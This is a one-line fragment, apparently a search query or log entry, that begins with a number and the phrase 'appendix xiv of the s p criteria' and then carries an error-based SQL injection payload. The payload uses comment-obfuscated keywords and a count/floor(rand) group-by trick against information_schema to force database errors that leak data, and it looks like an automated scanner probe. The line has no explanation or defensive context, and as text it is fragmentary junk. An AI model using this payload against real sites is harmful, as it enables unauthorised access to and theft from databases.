4.8510appendix xiv of the s p criteria" or 1=(/**/select 1 /**/from(/**/select count(*),/**/concat((/**/select(/**/select /**/unhex(/**/hex(/**/concat(0x217e21,0x4142433134355a5136324457514146504f4959434644,0x217e21)))) /**/from information_schema./**/tables /**/limit 0,1),floor(rand(0)*2))x /**/from information_schema./**/tables /**/group/**/by x)a)--